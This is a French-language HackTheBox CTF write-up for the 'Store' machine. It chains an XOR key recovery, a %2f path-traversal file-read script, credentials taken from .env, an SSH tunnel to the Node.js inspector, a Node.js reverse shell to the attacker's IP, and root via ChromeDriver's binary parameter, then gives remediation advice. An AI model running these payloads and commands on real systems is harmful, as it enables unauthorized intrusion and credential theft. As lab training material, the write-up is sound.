RAPPORT DE PENTEST

Store – HackTheBox Writeup

CLIENT	AUTEUR DU RAPPORT	RÔLE DE L'AUTEUR	PÉRIODE
HackTheBox	Philippe Bécué	Pen-tester	01/03/2026 - 01/03/2026

Ce rapport est publié avec l'accord du client, une fois les vulnérabilités corrigées.

Sommaire

01 **Avertissement — Simulation / CTF**
Informations légales, confidentialité et conditions d'utilisation de ce document

02 **Vidéo Démo**
Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 **Tableau des vulnérabilités**
Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 **Liste des intervenants**
Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 **Scope**
Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 **Information Gathering**
Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 **OSINT**
Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 **Enumeration**
Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 **Analyse de vulnérabilités**
Identification, qualification et classification des failles de sécurité découvertes

10 **Exploitation**
Démonstration technique de l'exploitation des vulnérabilités confirmées

11 **Post-Exploitation**
Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 **Tableau de synthèse des vulnérabilités**
Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 **Conclusion**
Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 **Solution**
Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

01

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

02

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Video

LIEN VERS LA VIDÉO

https://www.youtube.com/watch?v=6OT4x9eyGCc&t=14s&pp=0gcJCa4KAYcqIYzv

03

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
CRITIQUE	9.0 – 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
ÉLEVÉE	7.0 – 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
MODÉRÉE	4.0 – 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
FAIBLE	0.1 – 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
INFORMATIVE	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

04

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Portée du test

NOM	DÉTAILS
10.129.238.32	Machine HackTheBox – Store (Linux, Hard)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

06

Information Gathering

On commence par une reconnaissance complète des ports ouverts avec `nmap` en mode rapide, puis un scan plus ciblé avec détection de versions.

```
nmap -p- -vvv --min-rate 10000 10.129.238.32

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 63
5000/tcp open  upnp          syn-ack ttl 63
5001/tcp open  commplex-link syn-ack ttl 63
5002/tcp open  rfe           syn-ack ttl 63
```

Quatre ports TCP sont ouverts : SSH sur le port 22 et trois services HTTP sur les ports 5000, 5001 et 5002. Le TTL de 63 (attendu à 64 pour Linux avec un saut réseau) confirme qu'on est face à un hôte Linux.

On affine avec un scan de versions :

```
nmap -p 22,5000,5001,5002 -sCV 10.129.238.32

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
5001/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
5002/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

La version d'OpenSSH correspond à Ubuntu 22.04 LTS (Jammy). Les trois ports HTTP font tourner un middleware Express (Node.js). Le titre de la page contient une chaîne binaire qui, décodée, donne *"Military Grade"* — une référence marketing au chiffrement supposément militaire du service.

Analyse du site web

Les trois ports 5000, 5001 et 5002 exposent visiblement la même application : un service de stockage de fichiers appelé **Secure Encrypted Storage**. L'application propose trois fonctionnalités principales :

- **/** — Page d'accueil
- **/upload** — Formulaire d'envoi de fichier
- **/list** — Liste des fichiers stockés

Les en-têtes HTTP confirment l'utilisation d'Express :

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
```

Quand on télécharge un fichier via `/file/<nom>`, la réponse contient les données encodées en base64 directement dans l'attribut `href` d'un lien de téléchargement. Cela signifie que le déchiffrement s'effectue une seule fois côté serveur, et le binaire déchiffré est ensuite embarqué dans le HTML. On note ce comportement pour la suite.

07

OSINT

Aucun contenu n'a encore été ajouté à cette section.

08

Enumeration

Exploration des répertoires avec Feroxbuster

On lance un brute-force de répertoires sur le port 5000 avec `feroxbuster`. On utilise une wordlist en minuscules car le serveur ne semble pas sensible à la casse, et on désactive l'extraction automatique de liens pour éviter le bruit :

```
feroxbuster -u http://10.129.238.32:5000 --dont-extract-links -w
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

200  GET   http://10.129.238.32:5000/
301  GET   http://10.129.238.32:5000/images  =>  /images/
301  GET   http://10.129.238.32:5000/css     =>  /css/
301  GET   http://10.129.238.32:5000/tmp     =>  /tmp/
200  GET   http://10.129.238.32:5000/upload
200  GET   http://10.129.238.32:5000/list
```

Le répertoire `/tmp` attire immédiatement l'attention : il n'est pas censé être accessible via le serveur web.

Découverte des fichiers chiffrés dans /tmp

On upload un fichier texte simple pour tester le comportement :

```
echo "test de chiffrement" > test.txt
```

Après upload, le fichier apparaît sur `/file/test.txt` (contenu lisible). Mais dans `/tmp/test.txt`, on trouve une version de même taille mais au contenu binaire :

```
curl http://10.129.238.32:5000/tmp/test.txt -s | xxd
00000000: 3c05 5009 453e 3013 5968 195c ...    <.P.E>0.Yh.\..

xxd test.txt
00000000: 7465 7374 2064 6520 6368 6966 ...    test de chif...
```

La taille est identique, ce qui indique un chiffrement par flot (stream cipher) plutôt que par blocs. Notre hypothèse : le serveur chiffre les fichiers dans `/tmp` puis les sert déchiffrés depuis `/file/`. La route `/tmp` expose accidentellement les versions chiffrées.

Lecture du code source de l'application

En testant la route `/file/` avec une wordlist LFI, on découvre une vulnérabilité de path traversal quand les slashes sont encodés en URL :

```
feroxbuster -u http://10.129.238.32:5000/file/ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -s 200

200  GET
http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

On peut donc lire des fichiers arbitraires du système. On commence par lire `/proc/self/environ` pour connaître l'environnement du processus web (les valeurs nulles sont remplacées par des sauts de ligne) :

```
curl -s 'http://10.129.238.32:5000/file/..%2f..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron' \
  | python3 -c "import sys,base64,re; ..."

USER=dev
HOME=/home/dev
npm_package_json=/home/dev/projects/store1/package.json
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229
/home/dev/projects/store1/start.js'
PWD=/home/dev/projects/store1
```

Informations clés extraites :

- Le processus tourne sous l'utilisateur **dev**
- Le projet se trouve dans `/home/dev/projects/store1`
- La commande de démarrage inclut `--inspect=127.0.0.1:9229` — l'inspecteur V8 de Node.js est actif en écoute sur l'interface locale

On lit ensuite le fichier principal `start.js` :

```
require('dotenv').config();
const app = require('./app');

const server = app.listen(process.env.PORT, () => {
  console.log(`Express is running on port ${server.address().port}`);
});
```

La présence du package `dotenv` signifie qu'un fichier `.env` est chargé au démarrage. On le lit immédiatement :

```
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
```

On a les identifiants SFTP et — surtout — la clé de chiffrement XOR (`Hm9zeWC38`, 9 octets). On lit aussi `routes/index.js` pour comprendre la logique de l'application :

```
// Route GET /file/:file
router.get('/file/:file', async function (req, res) {
  const name = req.params.file;
  const filePath = `${process.env.STORE_HOME}/public/tmp/${name}`;
  if (path.normalize(filePath) == filePath) {
    await client.downloadFile(`files/${name}`, filePath);
  }
  const data = await xorFileContents(filePath, process.env.SECRET, inplace=false);
  res.render('file', { data: data, b64data: Buffer.from(data).toString('base64') });
});
```

La protection anti-traversal vérifie que `path.normalize(filePath) == filePath`. Cela échoue si le chemin contient des `../` — mais le décodage URL a déjà eu lieu avant que Node.js ne normalise le chemin, ce qui permet le bypass avec `%2f`.

Accès SFTP

On valide les identifiants trouvés dans le fichier `.env` via SFTP :

```
sftp sftpuser@10.129.238.32
(sftpuser@10.129.238.32) Password: WidK52pWBtWQdcVC
Connected to 10.129.238.32.
sftp> ls files
files/sample-upload.png   files/test.txt   files/notes.txt ...
```

L'accès fonctionne. Tous les fichiers uploadés via l'application sont stockés ici sous forme chiffrée, appartenant à l'utilisateur `sftpuser` (UID 1002). On note que la tentative de connexion SSH classique est bloquée :

```
ssh sftpuser@10.129.238.32
This service allows sftp connections only.
Connection to 10.129.238.32 closed.
```

La configuration SSH (`/etc/ssh/sshd_config`) impose `ForceCommand internal-sftp` pour cet utilisateur, mais ne désactive pas `AllowTcpForwarding`. Cela ouvre une possibilité de tunneling SSH qui sera exploitée plus tard.

09

Analyse de vulnérabilités

1. Chiffrement XOR statique — attaque par texte clair connu

Le fichier `routes/index.js` utilise une fonction `xorFileContents` avec la clé issue de la variable d'environnement `SECRET`. Contrairement à un algorithme symétrique robuste comme AES, un XOR avec une clé statique courte est trivellement cassé si l'attaquant possède :

- Le fichier chiffré (accessible dans `/tmp/`)
- Le fichier en clair original (il l'a uploadé lui-même)

En XOR-ant octet par octet le chiffré et le clair, on obtient le flux de clé (keystream). Si le keystream se répète, la clé est courte et fixe. C'est exactement le cas ici : la clé est **Hm9zeWC38** (9 octets), répétée à l'infini sur toute la longueur du fichier.

De plus, un commentaire dans le code source `// Todo: Use unique keys for each user` confirme que le développeur était conscient de cette faiblesse mais ne l'avait pas encore corrigée.

2. Path Traversal via encodage URL (%2f) sur /file/

La route `GET /file/:file` construit un chemin de la forme :

```
/home/dev/projects/store1/public/tmp/ + [paramètre utilisateur]
```

Le paramètre est passé directement dans la construction du chemin. La protection mise en place compare `path.normalize(filePath)` avec `filePath` : si le chemin normalisé diffère (présence de `../`), la requête est refusée. Cependant, Express décode automatiquement les caractères URL-encodés *avant* que la protection ne s'applique. Ainsi, `..%2f` (slash encodé) est décodé en `../` par le routeur Express, qui le transmet au contrôleur sans que la normalisation ne le détecte.

Une fois la traversal réussie, le fichier ciblé est lu puis passé à `xorFileContents` avec la clé fixe. Un fichier système non chiffré est donc *chiffré* par cette opération. Il suffit alors d'appliquer à nouveau le XOR pour le déchiffrer, car XOR est sa propre inverse : `plain XOR key = cipher` et `cipher XOR key = plain`.

3. Identifiants SFTP dans .env et inspecteur Node.js

Le fichier `.env` stocke les identifiants SFTP en clair (`SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost`). Ces identifiants permettent d'établir une connexion SSH (en mode SFTP uniquement) qui peut cependant être utilisée pour du port forwarding.

Le processus Node.js est lancé avec `--inspect=127.0.0.1:9229`, ce qui active le protocole de débogage V8 WebSocket. Ce protocole permet d'envoyer du code JavaScript arbitraire au moteur Node.js et d'en lire les résultats. En production, cette option ne devrait jamais être active : elle est destinée uniquement au développement.

4. ChromeDriver exécuté en tant que root

Le processus `chromedriver` tourne en tant que root sur le port 9515 :

```
ps auxww | grep -i chrome
root  758  ...  /root/chromedriver
```

L'API ChromeDriver expose un endpoint `POST /session` qui permet de démarrer une nouvelle session de navigateur. Ce point d'entrée accepte un paramètre `binary` qui spécifie l'exécutable du navigateur à lancer. Si ChromeDriver est exécuté en tant que root, n'importe quel chemin d'exécutable fourni sera lancé avec les privilèges root, permettant une escalade de privilèges immédiate.

10

Exploitation

Étape 1 — Récupération de la clé XOR par attaque texte clair connu

On upload un fichier dont on connaît le contenu exact (dans notre cas un fichier PNG que l'on possède), puis on récupère sa version chiffrée depuis `/tmp/`. En XOR-ant les deux, on extrait le keystream :

```
python3
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/sample-upload.png')
>>> enc = resp.content
>>> with open('/home/user/images/sample-upload.png', 'rb') as f:
...     pt = f.read()
>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
```

Le keystream se répète toutes les 9 positions : la clé est `Hm9zeWC38`. On le vérifie sur un autre fichier :

```
>>> from itertools import cycle
>>> resp2 = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc2 = resp2.content
>>> ''.join(chr(e ^ k) for e, k in zip(enc2, cycle(b"Hm9zeWC38")))
'test de chiffrement
'
```

Le déchiffrement fonctionne. La même clé est utilisée pour tous les fichiers, quelle que soit leur nature ou leur propriétaire.

Étape 2 — Lecture arbitraire de fichiers système via le Path Traversal

On écrit un script Python qui automatise le processus : traversal vers n'importe quel chemin absolu, récupération du base64 depuis le HTML de réponse, déchiffrement XOR avec la clé connue :

```
#!/usr/bin/env python3
import base64, re, requests, sys
from itertools import cycle

if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} <host> <chemin_absolu>")
    sys.exit()

host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')

try:
    resp = requests.get(
        f'http://{host}:5000/file/..%2f..%2F..%2F..%2F..%2F..{enc_path}',
        timeout=0.5
    )
except requests.exceptions.ReadTimeout:
    print("<Fichier introuvable>")
    sys.exit()

enc_b64 = re.search(
    r'data:application/octet-stream;charset=utf-8;base64,(.+?)"',
    resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e ^ k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)
```

Quand le fichier n'existe pas, le serveur reste en attente indéfiniment. On gère ce cas avec un timeout court. On valide :

```
python3 file_read.py 10.129.238.32 /etc/hostname
store

python3 file_read.py 10.129.238.32 /etc/fichier_inexistant
```

```
<Fichier introuvable>
```

On lit `/etc/passwd` et on identifie les utilisateurs avec un shell :

```
python3 file_read.py 10.129.238.32 /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
dev:x:1001:1001:,,,:/home/dev:/bin/bash
```

On trouve aussi `sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false` (pas de shell). On lit ensuite le fichier `.env` :

```
python3 file_read.py 10.129.238.32 /home/dev/projects/store1/.env
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
```

Identifiants SFTP exfiltrés : `sftpuser / WidK52pWBtWQdcVC`.

Étape 3 — Tunnel SSH via le compte SFTP pour atteindre l'inspecteur Node.js

La configuration `/etc/ssh/sshd_config` impose `ForceCommand internal-sftp` pour `sftpuser`, mais ne désactive pas `AllowTcpForwarding`. On peut donc créer un tunnel local vers le port 9229 (inspecteur Node.js) sans exécuter de commande distante :

```
ssh sftpuser@10.129.238.32 -N -L 9229:127.0.0.1:9229
(sftpuser@10.129.238.32) Password: WidK52pWBtWQdcVC
```

L'option `-N` empêche l'exécution d'une commande distante ; le tunnel reste actif en arrière-plan. On vérifie que le port est bien en écoute localement :

```
netstat -tnlp | grep 9229
tcp  0  0  127.0.0.1:9229  0.0.0.0:*  LISTEN  [PID]/ssh
```

Le port 9229 local est maintenant relayé vers l'inspecteur Node.js de la cible.

Étape 4 — Exécution de code via l'inspecteur Node.js → shell en tant que dev

Le protocole d'inspection V8 est accessible depuis Chromium via `chrome://inspect`. Dès que le tunnel SSH est actif, la cible distante apparaît automatiquement dans la liste des cibles déboguables. En cliquant sur "inspect", on ouvre une fenêtre DevTools qui donne accès à une console JavaScript exécutée dans le contexte du processus Node.js.

On y colle un payload de reverse shell Node.js (format #2 de revshells.com, adapté à notre IP et port) :

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.XX", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
```

On a préalablement ouvert un listener :

```
nc -lnvp 443
Listening on 0.0.0.0 443
```

Après exécution dans la console DevTools, la connexion arrive :

```
Connection received on 10.129.238.32 XXXXX
whoami
dev
```

On améliore le shell pour le rendre interactif :

```
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
Terminal type? screen
```

On récupère le flag user :

```
cat /home/dev/user.txt
0f4a8fca************************
```

11

Post-Exploitation

Exploration en tant que dev

Dans le répertoire home de `dev`, on trouve trois instances du projet :

```
ls /home/dev/projects/
store1  store2  store3
```

Une comparaison rapide montre que les projets sont quasi-identiques : seuls les fichiers `package.json` et `.env` diffèrent (ports différents : 5000, 5001, 5002 et ports d'inspect : 9229, 9230, 9231). Les trois instances exposent donc la même application avec les mêmes vulnérabilités.

On examine `/opt` et `/root` via les informations système disponibles :

```
ls /opt/google/
chrome
```

Une installation Google Chrome est présente. On vérifie les processus en cours :

```
ps auxww | grep -i chrome
root  758  0.0  0.3  33612408  12544  ?  Ssl  02:01  0:00  /root/chromedriver
```

ChromeDriver tourne en tant que **root**. Ce type de processus dans les environnements CTF indique généralement un "bot" automatisé ou une piste d'escalade de privilèges. On vérifie les ports en écoute :

```
netstat -tnlp
Proto  Local Address     State    PID/Program name
tcp    127.0.0.1:9229    LISTEN   [PID]/node
tcp    127.0.0.1:9230    LISTEN   [PID]/node
tcp    127.0.0.1:9231    LISTEN   [PID]/node
tcp    127.0.0.1:9515    LISTEN   -
tcp    0.0.0.0:22        LISTEN   -
tcp6   :::5000           LISTEN   [PID]/node
tcp6   :::5001           LISTEN   [PID]/node
```

```
tcp6   :::5002           LISTEN   [PID]/node
```

Le port 9515 est en écoute sans PID identifiable (appartient à root). C'est le port par défaut de ChromeDriver. Une requête sur `/status` le confirme :

```
curl localhost:9515/status
{"value":{"build":{"version":"110.0.5481.77 ..."},"message":"ChromeDriver ready for new
sessions.","ready":true}}
```

ChromeDriver est prêt à recevoir des sessions. On vérifie s'il y a des sessions actives :

```
curl localhost:9515/sessions
{"sessionId":"","status":0,"value":[]}
```

Aucune session active — il n'y a pas de navigateur en cours d'utilisation qu'on pourrait piloter. On doit créer notre propre session.

Escalade de privilèges via ChromeDriver — exécution de script en tant que root

L'API ChromeDriver expose un endpoint `POST /session` qui démarre une nouvelle instance du navigateur. Le paramètre `binary` dans `goog:chromeOptions` permet de spécifier quel exécutable utiliser comme navigateur. Puisque ChromeDriver tourne en tant que root, cet exécutable sera lancé avec les droits root.

On crée un script bash qui écrit notre clé publique SSH dans le fichier `authorized_keys` de root :

```
cat > /dev/shm/add_key.sh << 'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI[...votre_cle_publique...]" >>
/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
EOF
chmod +x /dev/shm/add_key.sh
```

On déclenche l'exécution via l'API ChromeDriver en passant notre script comme valeur du paramètre `binary` :

```
curl localhost:9515/session \
  -d '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary":
```

```
"/dev/shm/add_key.sh"}}}}'

{"value":{"error":"unknown error","message":"unknown error: Chrome failed to start: exited
normally.
  (unknown error: DevToolsActivePort file doesn't exist)
  (The process started from chrome location /dev/shm/add_key.sh is no longer running,
  so ChromeDriver is assuming that Chrome has crashed.)",...}}
```

ChromeDriver rapporte une erreur car notre script n'est pas un vrai navigateur. Mais c'est sans importance : le script a bien été exécuté avec les droits root. On tente la connexion SSH :

```
ssh -i ~/.ssh/id_ed25519 root@10.129.238.32
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1040-aws x86_64)

root@store:~#
```

Accès root obtenu. On récupère le flag :

```
cat /root/root.txt
318627f2************************
```

12

Tableau de synthèse des vulnérabilités

Chiffrement XOR statique – clé fixe de 9 octets — HIGH

APPLICATION	PORT	TYPE
ExpressJS Store (routes/index.js)	5000	Cryptographic Weakness

IMPACT PRINCIPAL

Déchiffrement de l'intégralité des fichiers stockés via attaque par texte clair connu

Path Traversal via encodage URL sur la route /file/ — CRITICAL

APPLICATION	PORT	TYPE
ExpressJS Store (route /file/:file)	5000	Path Traversal

IMPACT PRINCIPAL

Lecture arbitraire de fichiers système puis déchiffrement XOR → exfiltration de données sensibles

Identifiants SFTP exposés en clair dans le fichier .env — HIGH

APPLICATION	TYPE
Fichier .env (variable SFTP_URL)	Sensitive Data Exposure

IMPACT PRINCIPAL

Accès SFTP authentifié → accès SSH pour tunneling

Inspecteur Node.js --inspect actif sur l'interface locale (port 9229) — CRITICAL

APPLICATION	TYPE
Node.js Inspector (store1/start.js)	RCE

IMPACT PRINCIPAL

Exécution de code JavaScript arbitraire en tant que dev via tunnel SSH SFTP

ChromeDriver exécuté en tant que root (port 9515)

CRITICAL

APPLICATION

ChromeDriver (/root/chromedriver)

TYPE

Privilege Escalation

IMPACT PRINCIPAL

Exécution arbitraire de scripts système en tant que root via l'API WebDriver /session

13

Conclusion

Store est une machine de niveau Hard qui illustre une chaîne d'attaque particulièrement bien construite, où chaque vulnérabilité dépend de la précédente. Voici la synthèse de la progression :

1. **Reconnaissance** — Découverte de 4 ports ouverts : SSH et trois instances d'une application ExpressJS de stockage chiffré
2. **Énumération** — Feroxbuster révèle le répertoire `/tmp` exposant les fichiers chiffrés ; upload d'un fichier connu pour réaliser une attaque par texte clair connu
3. **Récupération de la clé XOR** — XOR entre la version chiffrée et la version originale du fichier uploadé → clé `Hm9zeWC38` (9 octets)
4. **Path Traversal** — La route `/file/` est vulnérable au traversal via les slashes encodés en URL (`%2f`), permettant de lire n'importe quel fichier du système
5. **Exfiltration de `.env`** — Lecture du fichier de configuration → identifiants SFTP (`sftpuser:WidK52pWBtWQdcVC`) et confirmation de la clé XOR
6. **Tunnel SSH SFTP** — Le compte SFTP ne peut pas exécuter de commandes, mais le TCP forwarding est actif → tunnel vers le port 9229 (inspecteur Node.js)
7. **RCE via V8 Inspector** — Accès à la console DevTools via Chromium → exécution d'un reverse shell Node.js → shell en tant que `dev`
8. **Escalade de privilèges** — ChromeDriver tourne en tant que root sur le port 9515 → injection d'un script bash via l'API `POST /session` → écriture de clé SSH dans `/root/.ssh/authorized_keys` → accès root

Les points techniques marquants de cette machine :

- La combinaison **texte clair connu + XOR statique** est une vulnérabilité classique en cryptographie mais restée méconnue des développeurs qui pensent faire du "chiffrement"
- Le **path traversal via encodage URL** illustre un bypass fréquent des protections côté serveur qui ne décodent pas les entrées avant de les valider
- L'**inspecteur Node.js en production** est une erreur de configuration récurrente dans les déploiements de services Node.js (option `--inspect` laissée active)
- La **gestion des droits de processus** (ChromeDriver as root) soulève la question du principe de moindre privilège, négligé dans de nombreux environnements

14

Solution

1. Remplacer le chiffrement XOR par un algorithme robuste

Le chiffrement XOR avec une clé statique courte n'offre aucune sécurité réelle. Il doit être remplacé par un algorithme symétrique éprouvé comme **AES-256-GCM** (chiffrement authentifié avec IV aléatoire par fichier). Chaque fichier doit être chiffré avec une clé unique générée aléatoirement et stockée de façon sécurisée (ex : base de données chiffrée, gestionnaire de secrets type HashiCorp Vault ou AWS Secrets Manager).

2. Corriger le Path Traversal

La protection actuelle (`path.normalize(filePath) == filePath`) est insuffisante car elle ne tient pas compte du décodage URL réalisé en amont par Express. La correction consiste à valider le chemin *après* normalisation, et à vérifier qu'il commence bien par le répertoire attendu :

```
const safePath = path.resolve(STORE_HOME + '/public/tmp/', name);
if (!safePath.startsWith(path.resolve(STORE_HOME + '/public/tmp/'))) {
  return res.status(403).json({ error: 'Accès refusé' });
}
```

Il faut également ne jamais exposer le répertoire `public/tmp` via le serveur HTTP statique.

3. Ne pas stocker les identifiants dans .env et les exclure du code source

Les fichiers `.env` ne doivent jamais être accessibles depuis le web et doivent être exclus du contrôle de version (`.gitignore`). Pour les déploiements de production, les secrets doivent être injectés via des variables d'environnement système ou un gestionnaire de secrets dédié.

4. Supprimer l'option --inspect en production

Le flag `--inspect` de Node.js est exclusivement réservé au développement local. Il ne doit jamais figurer dans les scripts de démarrage d'un service de production. Utiliser des variables d'environnement pour conditionner son activation :

```
# package.json
"start": "node /home/dev/projects/store1/start.js",
```

```
"debug": "node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js"
```

5. Ne pas exécuter ChromeDriver (ou tout processus de navigateur) en tant que root

Appliquer le **principe de moindre privilège** : ChromeDriver doit être exécuté sous un utilisateur dédié sans privilèges, dans un sandbox (AppArmor, seccomp) et sans accès aux fichiers système sensibles. Une revue régulière des processus lancés en root est recommandée :

```
ps auxww | grep -v "^root" || audit-all-root-processes.sh
```

6. Désactiver AllowTcpForwarding pour les utilisateurs SFTP restreints

La configuration `sshd_config` doit explicitement désactiver le forwarding TCP pour les comptes SFTP-only :

```
Match User sftpuser
    ForceCommand internal-sftp
    PasswordAuthentication yes
    ChrootDirectory /var/sftp
    AllowAgentForwarding no
    AllowTcpForwarding no
    X11Forwarding no
```